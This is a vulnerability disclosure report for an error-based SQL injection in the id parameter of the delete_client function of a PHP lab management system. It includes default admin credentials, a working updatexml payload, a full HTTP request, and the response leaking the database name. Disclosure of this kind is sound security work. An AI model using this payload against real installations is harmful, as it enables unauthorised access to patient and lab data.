

main

...

Cve\_report / vendor / oretnom23 / online-diagnostic-lab-management-system / SQLi-2.md



YorkLee53645349 Create SQLi-2.md

History

1 contributor

39 lines (27 sloc) | 1.35 KB

...

# Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG\_Author: YorkLee

Login account: admin/admin123 (Super Admin account)

Login account: [cblake@sample.com](mailto:cblake@sample.com)/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/classes/Users.php?f=delete\_client

Vulnerability location: /odlms/classes/Users.php?f=delete\_client,id

dbname=odlms\_db,length=8

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /odlms/classes/Users.php?f=delete\_client HTTP/1.1  
Host: 192.168.1.88  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.  
Accept: application/json, text/javascript, \*/\*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.88/odlms/admin/?page=appointments  
Content-Length: 66  
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2  
Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot shows a web browser window with a greyed-out address bar. Below the browser window, the developer console is open, displaying the following information:

**Request:**

```
POST /odlms/classes/Users.php?f=delete_client HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/odlms/admin/?page=clients
Content-Length: 65
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close
```

**Response:**

```
HTTP/1.1 200 OK
Date: Tue, 20 Sep 2022 09:29:07 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1i PHP/8.1.0
X-Powered-By: PHP/8.1.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 409
Connection: close
Content-Type: text/html; charset=UTF-8
```

**Error Message:**

```
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: '-odlms_db-' in C:\xampp\htdocs\odlms\classes\Users.php:220
```

**Stack trace:**

```
#0 C:\xampp\htdocs\odlms\classes\Users.php(220): mysqli->query('SELECT avatar F...')
#1 C:\xampp\htdocs\odlms\classes\Users.php(249): Users->delete_client()
#2 {main}
thrown in C:\xampp\htdocs\odlms\classes\Users.php on line 220
```

**Request Payload:**

```
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```